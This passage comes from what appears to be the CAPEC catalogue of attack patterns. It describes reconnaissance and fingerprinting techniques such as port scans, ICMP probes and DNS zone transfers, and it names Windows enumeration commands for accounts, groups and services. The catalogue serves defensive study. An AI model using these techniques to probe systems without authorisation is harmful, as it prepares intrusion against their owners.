An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-224: Fingerprinting
An adversary compares output from a target system to known indicators that uniquely identify specific details about the target. Most commonly, fingerprinting is done to determine operating system and application versions. Fingerprinting can be done passively as well as actively. Fingerprinting by itself is not usually detrimental to the target. However, the information gathered through fingerprinting often enables an adversary to discover existing weaknesses in the target.
CAPEC-285: ICMP Echo Request Ping
An adversary sends out an ICMP Type 8 Echo Request, commonly known as a 'Ping', in order to determine if a target system is responsive. If the request is not blocked by a firewall or ACL, the target host will respond with an ICMP Type 0 Echo Reply datagram. This type of exchange is usually referred to as a 'Ping' due to the Ping utility present in almost all operating systems. Ping, as commonly implemented, allows a user to test for alive hosts, measure round-trip time, and measure the percentage of packet loss.
CAPEC-287: TCP SYN Scan
An adversary uses a SYN scan to determine the status of ports on the remote target. SYN scanning is the most common type of port scanning that is used because of its many advantages and few drawbacks. As a result, novice attackers tend to overly rely on the SYN scan while performing system reconnaissance. As a scanning method, the primary advantages of SYN scanning are its universality and speed.
CAPEC-290: Enumerate Mail Exchange (MX) Records
An adversary enumerates the MX records for a given via a DNS query. This type of information gathering returns the names of mail servers on the network. Mail servers are often not exposed to the Internet but are located within the DMZ of a network protected by a firewall. A side effect of this configuration is that enumerating the MX records for an organization my reveal the IP address of the firewall or possibly other internal systems. Attackers often resort to MX record enumeration when a DNS Zone Transfer is not possible.
CAPEC-291: DNS Zone Transfers
An attacker exploits a DNS misconfiguration that permits a ZONE transfer. Some external DNS servers will return a list of IP address and valid hostnames. Under certain conditions, it may even be possible to obtain Zone data about the organization's internal network. When successful the attacker learns valuable information about the topology of the target organization, including information about particular servers, their role within the IT structure, and possibly information about the operating systems running upon the network. This is configuration dependent behavior so it may also be required to search out multiple DNS servers while attempting to find one with ZONE transfers allowed.
CAPEC-292: Host Discovery
An adversary sends a probe to an IP address to determine if the host is alive. Host discovery is one of the earliest phases of network reconnaissance. The adversary usually starts with a range of IP addresses belonging to a target network and uses various methods to determine if a host is present at that IP address. Host discovery is usually referred to as 'Ping' scanning using a sonar analogy. The goal is to send a packet through to the IP address and solicit a response from the host. As such, a 'ping' can be virtually any crafted packet whatsoever, provided the adversary can identify a functional host based on its response. An attack of this nature is usually carried out with a 'ping sweep,' where a particular kind of ping is sent to a range of IP addresses.
CAPEC-293: Traceroute Route Enumeration
An adversary uses a traceroute utility to map out the route which data flows through the network in route to a target destination. Tracerouting can allow the adversary to construct a working topology of systems and routers by listing the systems through which data passes through on their way to the targeted machine. This attack can return varied results depending upon the type of traceroute that is performed. Traceroute works by sending packets to a target while incrementing the Time-to-Live field in the packet header. As the packet traverses each hop along its way to the destination, its TTL expires generating an ICMP diagnostic message that identifies where the packet expired. Traditional techniques for tracerouting involved the use of ICMP and UDP, but as more firewalls began to filter ingress ICMP, methods of traceroute using TCP were developed.
CAPEC-294: ICMP Address Mask Request
An adversary sends an ICMP Type 17 Address Mask Request to gather information about a target's networking configuration. ICMP Address Mask Requests are defined by RFC-950, "Internet Standard Subnetting Procedure." An Address Mask Request is an ICMP type 17 message that triggers a remote system to respond with a list of its related subnets, as well as its default gateway and broadcast address via an ICMP type 18 Address Mask Reply datagram. Gathering this type of information helps the adversary plan router-based attacks as well as denial-of-service attacks against the broadcast address.
CAPEC-295: Timestamp Request
This pattern of attack leverages standard requests to learn the exact time associated with a target system. An adversary may be able to use the timestamp returned from the target to attack time-based security algorithms, such as random number generators, or time-based authentication mechanisms.
CAPEC-296: ICMP Information Request
An adversary sends an ICMP Information Request to a host to determine if it will respond to this deprecated mechanism. ICMP Information Requests are a deprecated message type. Information Requests were originally used for diskless machines to automatically obtain their network configuration, but this message type has been superseded by more robust protocol implementations like DHCP.
CAPEC-297: TCP ACK Ping
An adversary sends a TCP segment with the ACK flag set to a remote host for the purpose of determining if the host is alive. This is one of several TCP 'ping' types. The RFC 793 expected behavior for a service is to respond with a RST 'reset' packet to any unsolicited ACK segment that is not part of an existing connection. So by sending an ACK segment to a port, the adversary can identify that the host is alive by looking for a RST packet. Typically, a remote server will respond with a RST regardless of whether a port is open or closed. In this way, TCP ACK pings cannot discover the state of a remote port because the behavior is the same in either case. The firewall will look up the ACK packet in its state-table and discard the segment because it does not correspond to any active connection. A TCP ACK Ping can be used to discover if a host is alive via RST response packets sent from the host.
CAPEC-298: UDP Ping
An adversary sends a UDP datagram to the remote host to determine if the host is alive. If a UDP datagram is sent to an open UDP port there is very often no response, so a typical strategy for using a UDP ping is to send the datagram to a random high port on the target. The goal is to solicit an 'ICMP port unreachable' message from the target, indicating that the host is alive. UDP pings are useful because some firewalls are not configured to block UDP datagrams sent to strange or typically unused ports, like ports in the 65K range. Additionally, while some firewalls may filter incoming ICMP, weaknesses in firewall rule-sets may allow certain types of ICMP (host unreachable, port unreachable) which are useful for UDP ping attempts.
CAPEC-299: TCP SYN Ping
An adversary uses TCP SYN packets as a means towards host discovery. Typical RFC 793 behavior specifies that when a TCP port is open, a host must respond to an incoming SYN "synchronize" packet by completing stage two of the 'three-way handshake' - by sending an SYN/ACK in response. When a port is closed, RFC 793 behavior is to respond with a RST "reset" packet. This behavior can be used to 'ping' a target to see if it is alive by sending a TCP SYN packet to a port and then looking for a RST or an ACK packet in response.
CAPEC-300: Port Scanning
An adversary uses a combination of techniques to determine the state of the ports on a remote target. Any service or application available for TCP or UDP networking will have a port open for communications over the network.
CAPEC-301: TCP Connect Scan
An adversary uses full TCP connection attempts to determine if a port is open on the target system. The scanning process involves completing a 'three-way handshake' with a remote port, and reports the port as closed if the full handshake cannot be established. An advantage of TCP connect scanning is that it works against any TCP/IP stack.
CAPEC-302: TCP FIN Scan
An adversary uses a TCP FIN scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with the FIN bit set in the packet header. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow the adversary to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.
CAPEC-303: TCP Xmas Scan
An adversary uses a TCP XMAS scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with all possible flags set in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.
CAPEC-304: TCP Null Scan
An adversary uses a TCP NULL scan to determine if ports are closed on the target machine. This scan type is accomplished by sending TCP segments with no flags in the packet header, generating packets that are illegal based on RFC 793. The RFC 793 expected behavior is that any TCP segment with an out-of-state Flag sent to an open port is discarded, whereas segments with out-of-state flags sent to closed ports should be handled with a RST in response. This behavior should allow an attacker to scan for closed ports by sending certain types of rule-breaking packets (out of sync or disallowed by the TCB) and detect closed ports via RST packets.
CAPEC-305: TCP ACK Scan
An adversary uses TCP ACK segments to gather information about firewall or ACL configuration. The purpose of this type of scan is to discover information about filter configurations rather than port state. This type of scanning is rarely useful alone, but when combined with SYN scanning, gives a more complete picture of the type of firewall rules that are present.
CAPEC-306: TCP Window Scan
An adversary engages in TCP Window scanning to analyze port status and operating system type. TCP Window scanning uses the ACK scanning method but examine the TCP Window Size field of response RST packets to make certain inferences. While TCP Window Scans are fast and relatively stealthy, they work against fewer TCP stack implementations than any other type of scan. Some operating systems return a positive TCP window size when a RST packet is sent from an open port, and a negative value when the RST originates from a closed port. TCP Window scanning is one of the most complex scan types, and its results are difficult to interpret. Window scanning alone rarely yields useful information, but when combined with other types of scanning is more useful. It is a generally more reliable means of making inference about operating system versions than port status.
CAPEC-307: TCP RPC Scan
An adversary scans for RPC services listing on a Unix/Linux host.
CAPEC-308: UDP Scan
An adversary engages in UDP scanning to gather information about UDP port status on the target system. UDP scanning methods involve sending a UDP datagram to the target port and looking for evidence that the port is closed. Open UDP ports usually do not respond to UDP datagrams as there is no stateful mechanism within the protocol that requires building or establishing a session. Responses to UDP datagrams are therefore application specific and cannot be relied upon as a method of detecting an open port. UDP scanning relies heavily upon ICMP diagnostic messages in order to determine the status of a remote port.
CAPEC-309: Network Topology Mapping
An adversary engages in scanning activities to map network nodes, hosts, devices, and routes. Adversaries usually perform this type of network reconnaissance during the early stages of attack against an external network. Many types of scanning utilities are typically employed, including ICMP tools, network mappers, port scanners, and route testing utilities such as traceroute.
CAPEC-310: Scanning for Vulnerable Software
An attacker engages in scanning activity to find vulnerable software versions or types, such as operating system versions or network services. Vulnerable or exploitable network configurations, such as improperly firewalled systems, or misconfigured systems in the DMZ or external network, provide windows of opportunity for an attacker. Common types of vulnerable software include unpatched operating systems or services (e.g FTP, Telnet, SMTP, SNMP) running on open ports that the attacker has identified. Attackers usually begin probing for vulnerable software once the external network has been port scanned and potential targets have been revealed.
CAPEC-312: Active OS Fingerprinting
An adversary engages in activity to detect the operating system or firmware version of a remote target by interrogating a device, server, or platform with a probe designed to solicit behavior that will reveal information about the operating systems or firmware in the environment. Operating System detection is possible because implementations of common protocols (Such as IP or TCP) differ in distinct ways. While the implementation differences are not sufficient to 'break' compatibility with the protocol the differences are detectable because the target will respond in unique ways to specific probing activity that breaks the semantic or logical rules of packet construction for a protocol. Different operating systems will have a unique response to the anomalous input, providing the basis to fingerprint the OS behavior. This type of OS fingerprinting can distinguish between operating system types and versions.
CAPEC-313: Passive OS Fingerprinting
An adversary engages in activity to detect the version or type of OS software in a an environment by passively monitoring communication between devices, nodes, or applications. Passive techniques for operating system detection send no actual probes to a target, but monitor network or client-server communication between nodes in order to identify operating systems based on observed behavior as compared to a database of known signatures or values. While passive OS fingerprinting is not usually as reliable as active methods, it is generally better able to evade detection.
CAPEC-317: IP ID Sequencing Probe
This OS fingerprinting probe analyzes the IP 'ID' field sequence number generation algorithm of a remote host. Operating systems generate IP 'ID' numbers differently, allowing an attacker to identify the operating system of the host by examining how is assigns ID numbers when generating response packets. RFC 791 does not specify how ID numbers are chosen or their ranges, so ID sequence generation differs from implementation to implementation. There are two kinds of IP 'ID' sequence number analysis - IP 'ID' Sequencing: analyzing the IP 'ID' sequence generation algorithm for one protocol used by a host and Shared IP 'ID' Sequencing: analyzing the packet ordering via IP 'ID' values spanning multiple protocols, such as between ICMP and TCP.
CAPEC-318: IP 'ID' Echoed Byte-Order Probe
This OS fingerprinting probe tests to determine if the remote host echoes back the IP 'ID' value from the probe packet. An attacker sends a UDP datagram with an arbitrary IP 'ID' value to a closed port on the remote host to observe the manner in which this bit is echoed back in the ICMP error message. The identification field (ID) is typically utilized for reassembling a fragmented packet. Some operating systems or router firmware reverse the bit order of the ID field when echoing the IP Header portion of the original datagram within an ICMP error message.
CAPEC-319: IP (DF) 'Don't Fragment Bit' Echoing Probe
This OS fingerprinting probe tests to determine if the remote host echoes back the IP 'DF' (Don't Fragment) bit in a response packet. An attacker sends a UDP datagram with the DF bit set to a closed port on the remote host to observe whether the 'DF' bit is set in the response packet. Some operating systems will echo the bit in the ICMP error message while others will zero out the bit in the response packet.
CAPEC-320: TCP Timestamp Probe
This OS fingerprinting probe examines the remote server's implementation of TCP timestamps. Not all operating systems implement timestamps within the TCP header, but when timestamps are used then this provides the attacker with a means to guess the operating system of the target. The attacker begins by probing any active TCP service in order to get response which contains a TCP timestamp. Different Operating systems update the timestamp value using different intervals. This type of analysis is most accurate when multiple timestamp responses are received and then analyzed. TCP timestamps can be found in the TCP Options field of the TCP header.
CAPEC-321: TCP Sequence Number Probe
This OS fingerprinting probe tests the target system's assignment of TCP sequence numbers. One common way to test TCP Sequence Number generation is to send a probe packet to an open port on the target and then compare the how the Sequence Number generated by the target relates to the Acknowledgement Number in the probe packet. Different operating systems assign Sequence Numbers differently, so a fingerprint of the operating system can be obtained by categorizing the relationship between the acknowledgement number and sequence number as follows: 1) the Sequence Number generated by the target is Zero, 2) the Sequence Number generated by the target is the same as the acknowledgement number in the probe, 3) the Sequence Number generated by the target is the acknowledgement number plus one, or 4) the Sequence Number is any other non-zero number.
CAPEC-322: TCP (ISN) Greatest Common Divisor Probe
This OS fingerprinting probe sends a number of TCP SYN packets to an open port of a remote machine. The Initial Sequence Number (ISN) in each of the SYN/ACK response packets is analyzed to determine the smallest number that the target host uses when incrementing sequence numbers. This information can be useful for identifying an operating system because particular operating systems and versions increment sequence numbers using different values. The result of the analysis is then compared against a database of OS behaviors to determine the OS type and/or version.
CAPEC-323: TCP (ISN) Counter Rate Probe
This OS detection probe measures the average rate of initial sequence number increments during a period of time. Sequence numbers are incremented using a time-based algorithm and are susceptible to a timing analysis that can determine the number of increments per unit time. The result of this analysis is then compared against a database of operating systems and versions to determine likely operation system matches.
CAPEC-324: TCP (ISN) Sequence Predictability Probe
This type of operating system probe attempts to determine an estimate for how predictable the sequence number generation algorithm is for a remote host. Statistical techniques, such as standard deviation, can be used to determine how predictable the sequence number generation is for a system. This result can then be compared to a database of operating system behaviors to determine a likely match for operating system and version.
CAPEC-325: TCP Congestion Control Flag (ECN) Probe
This OS fingerprinting probe checks to see if the remote host supports explicit congestion notification (ECN) messaging. ECN messaging was designed to allow routers to notify a remote host when signal congestion problems are occurring. Explicit Congestion Notification messaging is defined by RFC 3168. Different operating systems and versions may or may not implement ECN notifications, or may respond uniquely to particular ECN flag types.
CAPEC-326: TCP Initial Window Size Probe
This OS fingerprinting probe checks the initial TCP Window size. TCP stacks limit the range of sequence numbers allowable within a session to maintain the "connected" state within TCP protocol logic. The initial window size specifies a range of acceptable sequence numbers that will qualify as a response to an ACK packet within a session. Various operating systems use different Initial window sizes. The initial window size can be sampled by establishing an ordinary TCP connection.
CAPEC-327: TCP Options Probe
This OS fingerprinting probe analyzes the type and order of any TCP header options present within a response segment. Most operating systems use unique ordering and different option sets when options are present. RFC 793 does not specify a required order when options are present, so different implementations use unique ways of ordering or structuring TCP options. TCP options can be generated by ordinary TCP traffic.
CAPEC-328: TCP 'RST' Flag Checksum Probe
This OS fingerprinting probe performs a checksum on any ASCII data contained within the data portion or a RST packet. Some operating systems will report a human-readable text message in the payload of a 'RST' (reset) packet when specific types of connection errors occur. RFC 1122 allows text payloads within reset packets but not all operating systems or routers implement this functionality.
CAPEC-329: ICMP Error Message Quoting Probe
An adversary uses a technique to generate an ICMP Error message (Port Unreachable, Destination Unreachable, Redirect, Source Quench, Time Exceeded, Parameter Problem) from a target and then analyze the amount of data returned or "Quoted" from the originating request that generated the ICMP error message.
CAPEC-330: ICMP Error Message Echoing Integrity Probe
An adversary uses a technique to generate an ICMP Error message (Port Unreachable, Destination Unreachable, Redirect, Source Quench, Time Exceeded, Parameter Problem) from a target and then analyze the integrity of data returned or "Quoted" from the originating request that generated the error message.
CAPEC-472: Browser Fingerprinting
An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
CAPEC-497: File Discovery
An adversary engages in probing and exploration activities to determine if common key files exists. Such files often contain configuration and security parameters of the targeted application, system or network. Using this knowledge may often pave the way for more damaging attacks.
CAPEC-508: Shoulder Surfing
In a shoulder surfing attack, an adversary observes an unaware individual's keystrokes, screen content, or conversations with the goal of obtaining sensitive information. One motive for this attack is to obtain sensitive information about the target for financial, personal, political, or other gains. From an insider threat perspective, an additional motive could be to obtain system/application credentials or cryptographic keys. Shoulder surfing attacks are accomplished by observing the content "over the victim's shoulder", as implied by the name of this attack.
CAPEC-573: Process Footprinting
An adversary exploits functionality meant to identify information about the currently running processes on the target system to an authorized user. By knowing what processes are running on the target system, the adversary can learn about the target environment as a means towards further malicious behavior.
CAPEC-574: Services Footprinting
An adversary exploits functionality meant to identify information about the services on the target system to an authorized user. By knowing what services are registered on the target system, the adversary can learn about the target environment as a means towards further malicious behavior. Depending on the operating system, commands that can obtain services information include "sc" and "tasklist/svc" using Tasklist, and "net start" using Net.
CAPEC-575: Account Footprinting
An adversary exploits functionality meant to identify information about the domain accounts and their permissions on the target system to an authorized user. By knowing what accounts are registered on the target system, the adversary can inform further and more targeted malicious behavior. Example Windows commands which can acquire this information are: "net user" and "dsquery".
CAPEC-576: Group Permission Footprinting
An adversary exploits functionality meant to identify information about user groups and their permissions on the target system to an authorized user. By knowing what users/permissions are registered on the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command which can list local groups is "net localgroup".
CAPEC-577: Owner Footprinting
An adversary exploits functionality meant to identify information about the primary users on the target system to an authorized user. They may do this, for example, by reviewing logins or file modification times. By knowing what owners use the target system, the adversary can inform further and more targeted malicious behavior. An example Windows command that may accomplish this is "dir /A ntuser.dat". Which will display the last modified time of a user's ntuser.dat file when run within the root folder of a user. This time is synonymous with the last time that user was logged in.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-616: Establish Rogue Location
An adversary provides a malicious version of a resource at a location that is similar to the expected location of a legitimate resource. After establishing the rogue location, the adversary waits for a victim to visit the location and access the malicious resource.
CAPEC-643: Identify Shared Files/Directories on System
An adversary discovers connections between systems by exploiting the target system's standard practice of revealing them in searchable, common areas. Through the identification of shared folders/drives between systems, the adversary may further their goals of locating and collecting sensitive information/files, or map potential routes for lateral movement within the network.
CAPEC-646: Peripheral Footprinting
Adversaries may attempt to obtain information about attached peripheral devices and components connected to a computer system. Examples may include discovering the presence of iOS devices by searching for backups, analyzing the Windows registry to determine what USB devices have been connected, or infecting a victim system with malware to report when a USB device has been connected. This may allow the adversary to gain additional insight about the system or network environment, which may be useful in constructing further attacks.
CAPEC-651: Eavesdropping
An adversary intercepts a form of communication (e.g. text, audio, video) by way of software (e.g., microphone and audio recording application), hardware (e.g., recording equipment), or physical means (e.g., physical proximity). The goal of eavesdropping is typically to gain unauthorized access to sensitive information about the target for financial, personal, political, or other gains. Eavesdropping is different from a sniffing attack as it does not take place on a network-based communication channel (e.g., IP traffic). Instead, it entails listening in on the raw audio source of a conversation between two or more parties.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.